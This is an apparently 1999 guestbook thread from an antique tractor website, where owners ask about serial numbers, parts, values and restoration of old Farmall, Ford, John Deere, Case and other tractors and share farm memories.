Tim Nady wrote on Monday, August 02, 1999 (PDT):I have jd50 that the rockshaft didn't turn. It had a hydraulic take off with quick disconnects. I had to remove them and put in dummies with a hole crossed drilled in it. I bought an after market 3 point hitch for the 50 from Cross Manufacturing in Mindenmines, Missouri.
M. Deny wrote on Monday, August 02, 1999 (PDT):We just bought and International 350, gas with front end loader and a back hoe. We are trying to find out more information about it. We need to replace one of the hydrolic hoses on the back hoe and it doesn't appear that you can get to it with out dismanteling the arm. Can anyone help?
mike wrote on Monday, August 02, 1999 (PDT):This is to Bud Brent I am intested in buying your tractor for $3500, let me know if your interested in my offer.
jeff scogin wrote on Sunday, August 01, 1999 (PDT):i am looking for a farmall cub any year and under 2500$ it needs to be close to running condition and have some attachmeants perfered
Ronnie Deatherage wrote on Saturday, July 31, 1999 (PDT):I am in need of the pin and assembly that fits under the fender of an 8n ford where the 3 point stablizers attach. I am not sure what they are called. Both sides are missing on my 8N. This piece bolts onto the rear axle under the fender using the fender bolts.
chad frisbie wrote on Saturday, July 31, 1999 (PDT):hi, how much do u think that a farmall "H" w/ good rubber but engine needs little work would be. the people that is selling it want $400. do u think that is a good price? please e-mail me back at trojan69 at aol.com thank you chad frisbie
theresa wrote on Friday, July 30, 1999 (PDT):My dad has a 9N Ford tractor and is looking to convert from a 6 volt to a 12 volt. He is looking for a wiring diagram to help him convert this.
Jonathan Smith wrote on Tuesday, July 27, 1999 (PDT):Hi, I'm currently restoring a 1941 MH 81 (STD)It's a great piece of machinery! I was wondering about the originial colors..was the engine originally red or black?? What horsepower does this model put out??
Al Walrath wrote on Tuesday, July 27, 1999 (PDT):I have a 51 W4 with just McCormick on the front nameplate, really nice little tractor.
David B. Hunter wrote on Tuesday, July 27, 1999 (PDT):My dad restored an F20 prior to his death. I am attempting to ascertain a value on it. As best we can tell, it is a complete restoration. I do not know the year of manufacture but it must be between '32 and '35 b/c it was painted gray. the serial number is 1523-DB. Any info would be appreciated.
Jean Greer wrote on Monday, July 26, 1999 (PDT):My husband recently bought a Farmall Model B Serial # F A B 20097. we would like to know the year this tractor was made and any other info anyone may have on it.
russell hawk wrote on Monday, July 26, 1999 (PDT):I have four Leader tractor's .Two run and two for parts will add serial number's later
Charles Vesser wrote on Sunday, July 25, 1999 (PDT): I own a 1956 UTS Special these machines are a unique breed to say the least. As a general rule they crank very easy, are kinda hard to steer (unless you have muscle power to spare) a couple of items to note on the 1956 model is they have DIC-BRAKES and the adjusting rod is reverse threaded, mine seems to run the best on Champion D-16 plugs. I would advise anyone who uses one in a isloated area to always carry a fire extingusher on board, due to the fact the battery is almost next to the fuel tank. Also one item to note is the 12 volt electric is POSTIVE GROUND. I like mine very well and will probably never get rid of it,its kinda like a old stray dog you adjust to it and it adjusts to you.
Billy W.Sellers wrote on Sunday, July 25, 1999 (PDT):I owned and operated both the 720 & 730 diesels. Both were great working and pulling tractors and the fuel econmy was great. The 720 had the lower geared transmission which made it better for heavy work. It also had the pony starting engine that made it much better for winter starts.
Joe wrote on Sunday, July 25, 1999 (PDT):I have worked on fords for 20 years and I own a 1941 farmall H. I am not that familiar with case tractors. I just bought one like this picture and the ser# is 5214843 DC. Could somebody tell me something about this tractor.
Paul Hamilton wrote on Sunday, July 25, 1999 (PDT):I am looking for the TOOL BOX that mounts on the side of the engine on the LH side close to the hood. For a 1942 or 1943.9N FORD tractor. My E-MAIL is paulham999 at aol.com, if you knowof, have one or know a place to call, write or E-MAIL I would appreciate it very much.
Marguerite Wright wrote on Sunday, July 25, 1999 (PDT):I'm trying to find the year of manufacture for a B.F. Avery model A serial no. A128
Dave Andresen wrote on Sunday, July 25, 1999 (PDT):I am looking for info on how to acquire a snow blade for a 1949 cub?
Lance C`uda wrote on Sunday, July 25, 1999 (PDT):To whom it might concern, the tractor in the photo is a very good looking restored crawler. I also have one of these tractors.Mine is a 1935 T-20 but Iam missing a few pieces to get it going 1 is the starting hand crank the other piece is the exhaust manifold on mine is broken into several pieces and I cant find another one around my area (Washington St )if anybody has any of these extra parts or leads on any I would sure appreciate it.
JEFF wrote on Saturday, July 24, 1999 (PDT):Mike, Central Tractor out of Iowa sells used sheetmetal & a lot of other parts. Pretty good prices.1-888-8CT-FARM. I've ordered from them before & am about to again. I think they're pretty fair on their prices.
Fred A. Piatt, Jr wrote on Saturday, July 24, 1999 (PDT):My brother in California has a Cletrac HG and an extra "parts" tractor. Don't know if he has a grille. E-mail piattvl at jps.net to find out what he might have. Good luck!
dave clow wrote on Saturday, July 24, 1999 (PDT):i just got my ac g rebuilt it is a 1948 model. i live in a small town. i hope to plow gardens this fall and the spring. i have a belly mower to. may mow some grass to. they are a nice little tractor and fun to operate.
rob nickel wrote on Saturday, July 24, 1999 (PDT):My Dad's into restoring,old tractor's,now that, he's retired.I think,it would be great,if one of you,other old iron head's,could surprise him,with a line or two,sometime?He hasen't joined,the cyber generation,yet? So?If,anyone's interested,email me,and I'll give you.his mailing address! Thank's,for now!
Don M wrote on Friday, July 23, 1999 (PDT):I just bought a ford 1948 8n tractor and looking for a set of chains for the winter. JUST THINK OF THE STORIES THESE MACHINES COULD TELL US OF THE PAST.
Thomas Earle wrote on Friday, July 23, 1999 (PDT):I have resently purchased a A.C. B, it is nice tractor, however, the throttle has a problem of surging intermittently wheather driving or sitting still, does anybody have any tips to cure this problem?
Jackson Rockwell wrote on Friday, July 23, 1999 (PDT):I recently purchased a TD 35 serial#TDBB1113 I think its a 1937. Iam looking for a place to buy parts such as gaskets and steering clutchs etc. I called Dresser they dont even list it in there microfish.I am also looking for any manuals or information on this tractor.Also mine is a 5 roller track all the pictures Ive seen of other TD35 appear to be 4 roller?
Ron Smith wrote on Thursday, July 22, 1999 (PDT):please tell me what model case tractor might have been commonly operated by mid-western farmers in the year 1949 and what color was this model?
Mike Griffin wrote on Thursday, July 22, 1999 (PDT):All the VAI's I've seen don't have any implement attachment points other than a towbar with a single hole in it, suitable for a linkpin hitch. Neither do they have a PTO or hydraulic system. They were meant to pull equipment trailers, tow airplanes to and from hangars, and perform other similar work for military and industrial outfits. Perfectly good tractor, but not usually set up for farm work, if that's what you had in mind.
matthew wrote on Wednesday, July 21, 1999 (PDT):my father has purchased a farmall H (believed to be 1947), it was orginally a rice model, but converted back to std with kiss wheels, however it still has the stepped rear axle, can someone tell me how many were made to this spec, or what were similar, i would like to put a wide front axle on it and return it to its orginal spec
Larry Dotson wrote on Tuesday, July 20, 1999 (PDT):I recently purchased a 1959 Ford 671 select-O-speed diesel. This tractor had been painted blue and passed off as a 2000. In my investigation, I have concluded that it is a 671. I am still looking for proof of this. When I opened the hood, I find the inside of all body panels were originally red. When the seat was removed, it was red under it. There is one odd thing though. The control arms for the front axle are gold under a coat of red. Also the rear rims (outer rim only) were first painted gold. I have not found the gold anywhere else. Does anyone know if this is correct, or for what model? The serial number seems to have been eaten off by battery acid. I was told that it was on the left side. Any help would be appreciated. Larry Dotson
Abby wrote on Tuesday, July 20, 1999 (PDT):I am in the process of looking of a tractor for use on 8 acres for horses. I would like a tractor that can be used with a front end loader, mower, harrow, snow plow and post hole digger. I would like to have a tractor that could move large round bales but am unable to afford such a tractor nor do I need such a large tractor for only 8 acres. Any suggestions?
George Milner wrote on Monday, July 19, 1999 (PDT):My dad's first and only tractor was a MT John Deere. He was a horse and mule farmer as long as us boys were still at home. It was after me and my 3 brothers left home that he finally broke down and bought a tractor. That tractor could do the work of a dozen mules.
curtis perry wrote on Monday, July 19, 1999 (PDT):i have a farmall h that i might buy to restore but i want to find out how old it is. i have the chart to tell how old it is but there are alot of numbers on it where would the model number be to find out how old it is if you can please email me back. thanks
mike wrote on Sunday, July 18, 1999 (PDT):I recently bought a Ford 1952 8n tractor, and I am restoring it. It had some parts stolen off of it; the hood, battery tray, radiator, and carborator. It only had eighteen hundred hours on the proof meter. I am form Michigan, and it is hard to find good (not rusted out) parts. Does you know anyone who sells original parts? Note; Not new parts.
Kerry Powell wrote on Sunday, July 18, 1999 (PDT):I own Two H Tractors Serial numbers 1)- 131670 2)- 349306 Can anyone tell me the year models. thanks. K.P.
erik wrote on Saturday, July 17, 1999 (PDT):My grandpa has one of these, but the crankshaft broke about 20 years ago. If it had not happened, the WD I have would have cost more to restore becaue I exchanged many parts from it.
John B wrote on Saturday, July 17, 1999 (PDT):I have had a 1949 cub for at least 45 years and used it for mowing grass (63 inch, 3 blade belly cutter) and hauling firewood at my 15 acre summer home in Indiana. Also use it for hay rides for the kids. Great little machine.
Jerry Bjorn wrote on Thursday, July 15, 1999 (PDT):I'm thinking about buying a WD45 and wonder if parts are available, such as carborator kit, distributor, water pump, engine gaskets, etc.
DANIEL CARUSO wrote on Thursday, July 15, 1999 (PDT):Can somebody send me as much information on this tractor as they can please. Daniel
michael pasqualone wrote on Thursday, July 15, 1999 (PDT):I JUST FOUND A WD ALLIS CHALMER SN#WD117786. PLEASE TELL ME HOW MANY WERE BUILT.
Mike O'Neal wrote on Wednesday, July 14, 1999 (PDT):I have a 1971 Ford 2000. I wanted to know if there is an aftermarket power steering unit I can get for this tractor. thanks
Eric Smith wrote on Wednesday, July 14, 1999 (PDT):Hello all, I just bought a Ford 9N tractor that has no air intake or air cleaner and am looking for a replacement. It has a sir# of 9NT53900, Can anyone tell me what the "T" stands for as I have not seen this on any other tractor also dose anyone know it's age, date of manufacture? I live in a great little California town called Paso Robles, My email is ericsmith at tcsn.net P.S. Great web site!!
Hal wrote on Tuesday, July 13, 1999 (PDT):I have a 1948 WC which I have rebuilt the engine and electical system on. I recently put a muffler on in place of the straight pipe. I got tired of wearing ear plugs. It purrs like a kitten now. I have the original seat on it but the back is missing which makes it real easy to step up on. Also, my WC has an aftermarket set of foot brakes on it. I can either use the hand brake or the foot brake.
Bob Whitaker wrote on Monday, July 12, 1999 (PDT):I have many fond memories of the Oliver 70 row-crop - one of the smoothest and sweetest sounding engines - the Continental six-cylinder, six speed transmission with two reverses gears, not very good brakes, wouldn't quite turn in its own tracks, but a great tractor to drive. We had a four-row cultivator which was hard to attach but very flexible design so it did a good job. The only problem we ever had was with burned valves now and then. Solved that problem by using valves from a Pontiac. The Oliver and Farmall H would go about the same road speed, (the H I think was a little faster), but the six speed Oliver tranny was much more useable than the 5-speed International. The Oliver was superior to any of its contemporaries in use due to the quiet and smooth engine. (My opinion, anyway) We owned several 70's, 77's, 1600's, 1650's, a 35 (Industrial), as many as 5 at one time while farming in Iowa.
David Tillman wrote on Sunday, July 11, 1999 (PDT):I just bought my first '49 8N for light yard work. I have 2 questions. Do you know where I could get wider front rims so that I could install lawn tires? When I was picking up my 8N, the man also "threw in" one of the original jacks that hooks up to the 3 point hitch. Do you know how much the jack is worth? Thanks for the help. David
Darrell Warner wrote on Sunday, July 11, 1999 (PDT):I have just purchased a Ford N series with a 6 cyl. Ford Industrial engine, I don't know if it is an 9, 2 or 8n. It has 9n and 2n casting numbers on the transmission and rear axles. But it has both brakes on the right hand side with the clutch on the left. If you can help me identify the model I would appreciate it. The tractor is in excellent shape, few dents just needs cleaned up and painted.
James Herndon wrote on Sunday, July 11, 1999 (PDT):I recently purchased a TE20. I had to replace the starter switch and the old switch had a spacer welded on the button. The new switch will not engage. I was wondering if there might be another way to solve this problem without welding another spacer on the switch.Any help would be greatly appreciated.
Rae H. Johnson wrote on Saturday, July 10, 1999 (PDT):I have had a Leader tracror for 44 years and it still runs great. Leader tractor model #48D, serial # 27204. I would like to find if there are any clubs or groups interested in forming a club for the transfer of information.
Arlen Wahl wrote on Friday, July 09, 1999 (PDT):The 80 does have the sound of other diesels, sort of a knock, the sound is unique, ours is very snappy, the lugging power is great, it will lug down with a puff of black smoke with every pop. It at times blow smoke rings when pulling hard.
Bobby Garrett wrote on Thursday, July 08, 1999 (PDT):I rescently purchased a 1956 model 60 I need all the info on it I can get.PLEASE contact me if you can help!The biggest question I have is,how do I get the rock shaft to work? I engage the powertrol and move the lever but the shaft doesnt move.Do I have to have an attachment on it with weight before it rotates or am I doing something wrong or is it broke?Can I build a three point attachment for it? Please help me out if you can.THANKS.
greg indzeoski wrote on Thursday, July 08, 1999 (PDT):I work for the Saskatchewan Property Management Corporation in Regina, Saskatchewan Canada. Our corporation operates the provinces air hangar service. We currently own a 1945 Case Warehouse Tractor which was apparently purchased in 1947 by the government of Saskatchewan. We believe the tracor was manufactured by the War Department in Washington, D.C. The tractor was used in Saskatchewan to tow the provinces air ambulance planes. I am trying to determine if the tractor we own is indeed the same tractor as shown above and what the history of it might be. I am looking for any assistance possible. Thanks
Dick Davis wrote on Thursday, July 08, 1999 (PDT):A white painted raditor grill sounds like a IH dealer repaint after the IH 350's came out. IH dealers did a lot of repaints on older tractors as a way of keeping their workforce employed in the slack time of the year. When the 350's came out to diferentiate them from earlier 300's, they had grill inserts painted white ( cream?). I'll bet a donut that a dealer talked a farmer into painting his H to "Look exactly like a 350!"
Samuel Lovold wrote on Wednesday, July 07, 1999 (PDT):I would like to listen to or watch a 1911 Mogul 45 tractor. Likewise; the Titan 25. Anyone know where these magnificent machines are?
Dennis Fischer wrote on Wednesday, July 07, 1999 (PDT):My dad had a 31 GP which I was to get but a greedy relative forced me to sell on the estate sale. It had belonged to a neighbor, who had bought it new. It had steel rears and rubber replacements on the front. I wisch I could find one to restore someday, but right now I'm bussy with 17 others ranging from a 36 "A" to a 720 d.love your web site. I use it for referance quite often.
Robert AuCoin wrote on Wednesday, July 07, 1999 (PDT):Proud owner of 2 cub lo-boys, 1947, 1948 1948 still mowing 3 acres per week, with Woods 5' belly mower. Any have a 5' sickle mower?
David Bradley wrote on Tuesday, July 06, 1999 (PDT):The 601 and 701 series tractors all had red hoods with gray grills. Correct me if I'm wrong.
Steve wrote on Tuesday, July 06, 1999 (PDT):My dad was a JD dealer in Wheatland, Wyoming for 20+ years. There was a farmer between Slater and Chugwater that had bought a kit to hook two D's together. The seat was removed from the front one and the front end from the rear. The front end then attched to the front tractor where the seat had been. The clutches and throttles were operated seperately from the rear by a linkage arrangement of some type. Steering was done with the front tractor by using a hydraulic power steering kit. Quite an operation to get it all installed, but once it was up and running it would pull like all get out. Has anyone out there seen any kits like this? Just curious.
Dean A. Van Peursem wrote on Monday, July 05, 1999 (PDT):I have a restored 1941 JD H Ser # 26503. It is one of the more fun tractors I have. Gets lots of attention in parades. Weighs only 2200 lbs. Easy to trailer and easy to work on. Recommend them highly.
John E Burns wrote on Sunday, July 04, 1999 (PDT):I just bought a 1941 Model B, sn 198217. I am wondering if anyone can help with original owner, place of sale, etc.
Dave wrote on Friday, July 02, 1999 (PDT):I have a Case Tractor Ser#4805201S, in great running condition. I believe it is a Model S as shown in the Ser#, I would like to get manuals for it. However, there seems to be 5 or 6 different ones. My tractor has a towing hitch on the back shaped in a half circle, the tow bar itself has a wheel on it and it rolls on this half circle. It also has a plow frame on the front with a hydrolic system that lifts a ground grading blade. Which manuals should I get. This tractor was purchased a number of years ago by my father-in-law. Who has now passed away. My wife and I purchased the property and the tractor came with it. The tractor was stored outside for a few years not running, but with a bit of hard work on my part it is now running great, and I am using a 5 foot brush deck and cutting the fields. I hope that someone can help me get the correct manuals so that I can restore it and keep it running. Thanks, this is a great web site.
bob van natta wrote on Friday, July 02, 1999 (PDT):josh try loosing one of the hose conections to bleed the air out of the system. once you get fluid out of the conectin tighten it back down anb it should work. did on mine anyway.
Ray Van Mersbergen wrote on Friday, July 02, 1999 (PDT):I recently aquired a JD Model B serial #22988. Can you tell me what year and approximate value. The tractor runs but needs restoration. Currently on rubber tires. General condition is good. Needs paint/decals, seat is missing, needs new tires, needs tune-up. Any information would be greatly appreciated.
Ken P. wrote on Friday, July 02, 1999 (PDT):I have a 1948 Vac. It has a 5 foot WOODS brand belly mower on it. I use it to mow our very large yard. I own a small sawmill and I also use the tractor for moving around lumberwagons. My next project is to rebuild an old lumber edger and power it with the Case. I use to own a mid sixties Cub LoBoy, also with a five foot deck, {International deck.} I used it for four years, but I was always throwing money at it. The Case is ten times the tractor, I love using it, hope to have it for a long time.
Kevin Dean wrote on Friday, July 02, 1999 (PDT):Have a 1948 Cub, bought it for $1500 with a snow blade and a 12" mowboard. It was in good shape when I got it and have had to go through replacing fluids etc. I aquired manuals and have had a lot of fun just owning it, have had it on 4th of July parade and on display in St. Peters for the town picnic, it's just the right size.
Kurt wrote on Thursday, July 01, 1999 (PDT):I purchased a fully restored Farmal IH H restored tractor atan auction for $700. What is a tractor that age worth on the market? I need to get a wheel and lights fixed on it. Kurt
rob nickel wrote on Thursday, July 01, 1999 (PDT):My Dad,is in to restoring,his twenty one,or so,old tractor's.I'd like to find,a good magazine subscription,for him? Any suggestion's?
Allan Walling wrote on Wednesday, June 30, 1999 (PDT):What year is this tractor? I have been offered a 1923 International tractor and I am looking to see what it would look like as I have not seen it yet. I would appreciate knowing more about it.
Erik Henningsson wrote on Wednesday, June 30, 1999 (PDT):I love this great machine!
Antonio Peru wrote on Tuesday, June 29, 1999 (PDT):I believe I have a vao. Is there somewhere that has a list of the characteristics of each model so I can compare them. I am interested in determining the model because it needs some repairs and I want to be able to order the parts.
Jeff Graves wrote on Monday, June 28, 1999 (PDT): I just became the (proud?)owner of a Super Dexta. My biggest problem is not being able to find a great deal of parts for it. Of course the starter is the first problem I have run into. I was able to purchase a rebuilt one for around $200!! I have also located a supply of NOS Perkins Diesels (3.152) that may work on this tractor. I am checking into it to make sure the castings are the same. I guess half the fun of a Super Dexta is trying to find the parts. Also, does anyine know if the late model lucas starters with the 10 tooth drive will work on a Super Dexta, which originally had the 11 tooth drive?
arlen wahl wrote on Monday, June 28, 1999 (PDT):we have one, bought it in 1973 in north dakota. used it for 20 years. pulled 4 16" breaking sod used 2 gals per hour. starting motor not working, pulled to start only went 10 ft, was running. we pulled out a jd "a" with a loader on it.the tractor and loader had been in the mud for 2 weeks, the 80 dragged it out with little effort, after not being used for several years to any extent. it is a joy to listen it run. the front end bounces with every pop. it is not for sale too many great memories attached.
Jeff Graves wrote on Monday, June 28, 1999 (PDT): I just became the (proud?)owner of a Super Dexta. My biggest problem is not being able to find a great deal of parts for it. Of course the starter is the first problem I have run into. I was able to purchase a rebuilt one for around $200!! I have also located a supply of NOS Perkins Diesels (3.152) that may work on this tractor. I am checking into it to make sure the castings are the same. I guess half the fun of a Super Dexta is trying to find the parts. Also, does anyine know if the late model lucas starters with the 10 tooth drive will work on a Super Dexta, which originally had the 11 tooth drive?
steve watkins wrote on Monday, June 28, 1999 (PDT):who painted the belt pulley yellow... sombody with to much time on there hands. if you want a picture of a D ill send you one of my 1938 D with twin stacks
Paul Stanley wrote on Sunday, June 27, 1999 (PDT):I got my Oliver Super 55 about a year and a half ago. It's a diesel model. I plan on restoring it later, but for right now I am using it around my property to move material. I have a back blade and a 3 point scoop for it. I will need to do some work on the steering and brakes soon! I read a lot about old tractors and for some reason fell in love with Olivers. I was looking in Washington State, but was lucky to find one here in British Columbia.
Jack McCabe wrote on Sunday, June 27, 1999 (PDT):HAVE VAI for sale
Kevin Lindley wrote on Saturday, June 26, 1999 (PDT):Gunny we have a 51 in working condition. As a kid we used it as our plowing tractor. What a differance from the old massey 44. Anyway were thinking of selling it but do not want to part it out. Currantly we do need an exhaust elbow for it. Keep in touch I could get you a picture of it sometime.
emily benham (for son, Lee Benham) wrote on Saturday, June 26, 1999 (PDT):My son says, "I have a 1946 Farmall M gasoline. I converted it from the propane model. Modified the govenor to achieve more RPM's, have redone the head by milling, flowing, and 3-angle valve grind. It is producing 10.5/1 compression. I have widened the rims myself and now have 16.9/38's and enjoy outpulling John Deere tractors in its horsepower range. We have an antique tractor pull in the South Texas area. Anyone can do this type of modifying and have a great time! Lee Benham
Paul Dippie wrote on Saturday, June 26, 1999 (PDT):My grandfather had an H the same as that pictured. I tracked it down recently and is still in original running order. Wont sell it tho. I have my fathers 1948 B in great condition, but would love our family H back!
ERIC DALSHAUG wrote on Friday, June 25, 1999 (PDT):I,m now a prode owner of a Model 30 Cockshutt. My uncle had a small Farm in Sask Canada, which he had Farmed from 1904 to 1982. From what Ive been, told he bought it used in the 60's. This was one of his very best Tractors he had owned. MY uncle died in the 80's and left me the Tractor. I just completed a 3500 mile journey to retrieve it and how the OLD Cockshutt has a new home in California. I will be using it on my Ranch.
a dotson wrote on Friday, June 25, 1999 (PDT): I have 1052 G allis chalmers in good shape, used it this year for the fist time and would like to know more about. all so have the manual that came with this tractor
a dotson wrote on Friday, June 25, 1999 (PDT): I have 1052 G allis chalmers in good shape, used it this year for the fist time and would like to know more about. all so have the manual that came with this tractor
Andrew Steffl wrote on Friday, June 25, 1999 (PDT):I logged hundreds, if not thousands of hours on a MM G-705 pulling either a 5-bottom plow, a 16 ft. chisel plow, a 30 foot field cultivator, or a 35 foot harrow during the 1970's. My information is strickly from memories of about 25 years ago, so I can't assure complete accuracy. The G-705 was identical to the G-706, minus the mechanical front wheel assist. I believe these tractors had a 504 cu. in. in line 6 cyl. engine that produced 101 horsepower at about 1600 RPM. It was a very heavy tractor (with fluid in the tires and 1000 lb weights on each rear wheel). As I recall, the tractor had 5 speeds forward and 1 reverse, single hydraulics, and a "hand clutch" rather than a foot pedal. My father's G-705 had no P.T.O. The tractor was quite clumsy (in the area of manuverability) when compared to something like a JD 4020, but could outperform many tractors of comparable horsepower in heavy pulling jobs due to its weight and what must have been a lot of tourque developed by the engine. The MM G-705, a JD 820, and a "home-made" FWD tractor (we called it the "Yellow Monster"), with Farmall W-9 rear-ends and a salvaged 220 HP, 855 cu. in. Cummins Diesel 6-Cyl. were the primary work-horses on my father's farm until about 1970, when he purchased his first of many Versatile FWD tractors, a D-145.
Bob B wrote on Thursday, June 24, 1999 (PDT):I am looking for the rear brackets (under fender)that are used to support the main arms of a Horn-New Idea "505" Loader. Thanks Bob
Ed Burress wrote on Wednesday, June 23, 1999 (PDT):I just bought a 63 Super Dexta for $1500. It looks like a pretty goo tractor for the money. The engine is in need of being rebuilt, and I located parts on the web for around $450 with shipping. If it works out well, this will be the only tractor I'll ever need to buy, and I will probably wind up restoring it. Ed Burress, Portland, Oregon.
kevin thieman wrote on Wednesday, June 23, 1999 (PDT): would like to get some information on the thieman tractor. i heard there were trading cards for tractors, please see if there is one for thieman. thank you, kevin
Clayton Dymond wrote on Wednesday, June 23, 1999 (PDT):I used to work with a 60 with without power steering. It had 3 point, PTO, and the Tripod dual wheel front. I miss that old tractor.
Don Wilson wrote on Tuesday, June 22, 1999 (PDT):Summers between college I worked for a farmer who had a 730 diesel. It drove well and I grew to enjoy operating it. On hot days when clusters of gnats would swarm over the hood I discovered that depressing the valve de-compression pedal, causing thick black smoke to roll out the exhaust would quickly disperse the little rascals!
Robert E. Eby wrote on Tuesday, June 22, 1999 (PDT):I have a 1947 Farmall cub with a front blade, scycl bar, plow and disc set with lead weights FOR SALE. This tractor ran like a champ up til when it was stored 2 years ago. It is in great structural shape with good paint (RED). All attachments are complete. It won't start due to needing a carb. rebuild and magneto overhaul. I inhereted it about 15 years ago - no paperwork or owners manual. It has been converted to a 6 volt generator, battery and starter with lights. If your interested, $2,600.00 takes all. It is in Northern California. days; 415-476-2570, nights; 707-824-8050, BOB
Tim Chowning wrote on Tuesday, June 22, 1999 (PDT):I own a 1948 Case SC and am in the process of restoring. I recently obtained a 1946 Case SC parts tractor with a wide front end. I need two front 4 bolt rims which attach to the hub. Hopefully the tractor will be complete within the next six months.
Jim Call wrote on Tuesday, June 22, 1999 (PDT):Do you know who owns the tractor pictured? We have a nice original, made in 1923 just before the change to the "B" series.
Gary Thurston wrote on Monday, June 21, 1999 (PDT):info on the leader model d tracton tring to restore
Terry Morley wrote on Sunday, June 20, 1999 (PDT): She'll go 5000 # without water on the tires, Unless you are a glutton for punishment and think you will move the wheels...... you'll need 8' wide, at lest 18' long longer is better. GOOD LUCK. Oh, if you don't block under the rear of the trailer, she'll lift the rear of the pickup when you back her on.
mark paine wrote on Sunday, June 20, 1999 (PDT):i was doing some work on this developer's land and came across this ihc model 20. the owner said that i could have it if i hauled it off. makes very nice "yard art"
Tom Schulte wrote on Friday, June 18, 1999 (PDT):Looking for information on an available WD 45 Diesel - preferably tricycle front.
Ron Davids wrote on Friday, June 18, 1999 (PDT):I own a restored 1948 Case VAC (restored by my father about 8 years ago). I see no reference to the VAC. It looks very similar to the VC Model, so I assume it is a later version of the row-crop VC model. If you would like a picture, I would be glad to E-Mail one to you.I also have the original "Owners Manual" and "parts manual" along with the "Hydraulic Manual"-I imagine these are worth hanging on to - based on prices for Manuals. My Grandfather was the first Case dealer in Montana-back in the 1930's. You have a great web site-keep up the good work. Ron Davids Hoodsport,Wa. ofs at hctc.com
Mic Adams Holt, Fl. wrote on Wednesday, June 16, 1999 (PDT):Andrew,try yesterdays tractors using LYCOS web site they have many parts for 8N also other connecttions for manuals,engines,trans.,ect.
Jeremy Clark wrote on Wednesday, June 16, 1999 (PDT):Is the 1933 model of this tractor the same color as the 1935 model? If so where could I find the paint?
Gail Hackathorn wrote on Wednesday, June 16, 1999 (PDT):My father owns a B that he took the magneto off of. Said he would sell if anyone is interested.
john bowen wrote on Tuesday, June 15, 1999 (PDT):would like to know the firing order this tractor has hercules engine
Peter Augenblick wrote on Monday, June 14, 1999 (PDT):I think I have one of these. It is 4cy gas w snap coupler. Any idea how I could tell what year it is for sure?
mICHAEL wrote on Monday, June 14, 1999 (PDT):What is the value of 56 Cub with a belly mower that is in good shape and has been stored in a shop? Your info would be helpful. Also what attachments are available for it besides the mower? Michael
Redfan wrote on Sunday, June 13, 1999 (PDT):Have 1946 H and am getting parts together to fit a starter motor. Have seen two different types of starting systems. One has a small pushrod which pushes directly on the starter switch, and the other is a type of lever system to activate the switch.I presume both are pushed in by your foot.Which one would be more correct. Thanks.
Duane Durand wrote on Saturday, June 12, 1999 (PDT):My father and I have restored between 35-40 9n,8n tractors.We've been enjoying restoring for 25 years.In that time I've learned a good deal about these great machines,not to mention finding a great friend in my Dad.I hope that all of you out there will find as much pleasure as we have!!If I can help anyone send E-Mail.Between my Dad and I I"m sure we answer a few questions. Thanks for this great site!!
neil miller wrote on Saturday, June 12, 1999 (PDT):my dad had a russell built in 1917 ? it was a 6 cylender, each cylinder had a head. he cut it up for scrap in ww 2.i dont have a picture .
Gary PA wrote on Friday, June 11, 1999 (PDT):I restored a 1957 Cub Low Boy with a 5' Woods belly finish mower. Nice tractor project and it mows very well. I bought a 1977 International 184 and now need to sell the 57.
Butch Cherrington wrote on Friday, June 11, 1999 (PDT):Barry, Your problem is most likely in the "traction booster" system. Make sure the upper lever is to the top of the quadrant. If this does not fix the lowering problem a linkage ajustment is in order.
Butch Cherrington wrote on Friday, June 11, 1999 (PDT):I own a model A. I am in need of set of sleeves. I have the 4 3/4" bore gasoline only engine. I also need an original magneto for it. I also have a complete 5" bore kerosine engine in running condition for sale. I believe it is from a model K. Has radiator, hood, fueltank and clutch.
RMD wrote on Thursday, June 10, 1999 (PDT):Some corrections to the description. The D-12 replaced the CA in AC line-up; the D-10 replaced the B. The only difference between the two was the width - the D-10 was for one row cultivation and the D-12 was for two rows. The design is very heavily based on the CA. The early D-10/12 did not have independent PTO and may or may not have had independent hydraulics. Production changes in 1961 or 1962 brought more power (30 HP), independent PTO and independent hydraulics on all D-10/12. At that point they became probably one of the best 2WD 30 HP general purpose tractors made. I have a 63 D-12 and it would be perfect if it had power steering and a differential lock.
Bob Rooker wrote on Thursday, June 10, 1999 (PDT):My father brought a new Farmall H in 1942. It was during World War II and we had to wait our turn to get to the top of the list. Our farm was only 60 acres but we share cropped nearly 500 acres in the immediate area in Michigan. The grill of this tractor was red. I have never seen a white grill on a Farmall H. Before the H my dad had a Farmall F-12 that he converted to a F-14. This was the close front wheel model. Bob
Bill Breeding North Fl. wrote on Thursday, June 10, 1999 (PDT):I own a AC-B which has a Fairbanks Morse Magneto Type FM which is all in one piece and I need a shop manual on it, and I also need a parts suppler. My tractor is down now for this and I need to get it up so I can work my garden the weeds are takeing over, HELP
peter wrote on Wednesday, June 09, 1999 (PDT):i agree with sam. even though i don't like tractors i think the wheels should be orange (or at least 3 of them anyway!) and i think you should fit a nitro injector.
david wrote on Tuesday, June 08, 1999 (PDT):I want to buy a CUB with attachments. Southside, Virginia
ralph braun wrote on Monday, June 07, 1999 (PDT):my dad had a 70 diesle we used it for everything on the farm. he put a long strait pipe on the exh, so you could stand up while driving it and not get smoked out. then he bought a 730 diesle with electric start. i thought i was in heven! no more trying to start the tractor with the "pony" motor. my brothers and i bought him a collectors 730 model for his birthay this year.some day i hope to find a 70 or 730 to restore.
Dean A. Van Peursem wrote on Sunday, June 06, 1999 (PDT):The 60 replaced the "A" not the "B"
Billy S. Smith Jr. wrote on Sunday, June 06, 1999 (PDT):I am the original owner of a 1957 WD45 AC, wide front end with power steering. This tractor has been in my family since day one. PERFECT CONDITION
paul wrote on Saturday, June 05, 1999 (PDT):I see a 97 at the local consignment sale every few months. It has a cab and very little paint & either doesn't run or barely runs.... Never seems to reach it's reserve price, located in Sleepy Eye, MN. --->Paul
Stu Struna wrote on Saturday, June 05, 1999 (PDT):Turn a farmall into pulling tractor. When i was a kid our hired hand built on fast puller out of an M. Go to to following address and see my drawing of Farmall M, C, and H. www.duartwork.com
Stu Struna wrote on Saturday, June 05, 1999 (PDT):Turn a farmall into pulling tractor. When i was a kid our hired hand built on fast puller out of an M. Go to to following address and see my drawing of Farmall M, C, and H. www.duartwork.com
Don Stevens wrote on Saturday, June 05, 1999 (PDT):Does anyone know of a pull-behind mower similar to a "bush Hog" or "brush Hog" that has the PTO offset to the left as on a CUB. I have a flail mower and have access to a sickle bar, but am interested in finding one I can pull behind my CUB. Thanks Don
Bob wrote on Saturday, June 05, 1999 (PDT):From what I have read Leader tractors were made by Brockway from 1937, after 1940 they bore the name Leader and later changed back to Brockway name, does anyone know if this is correct
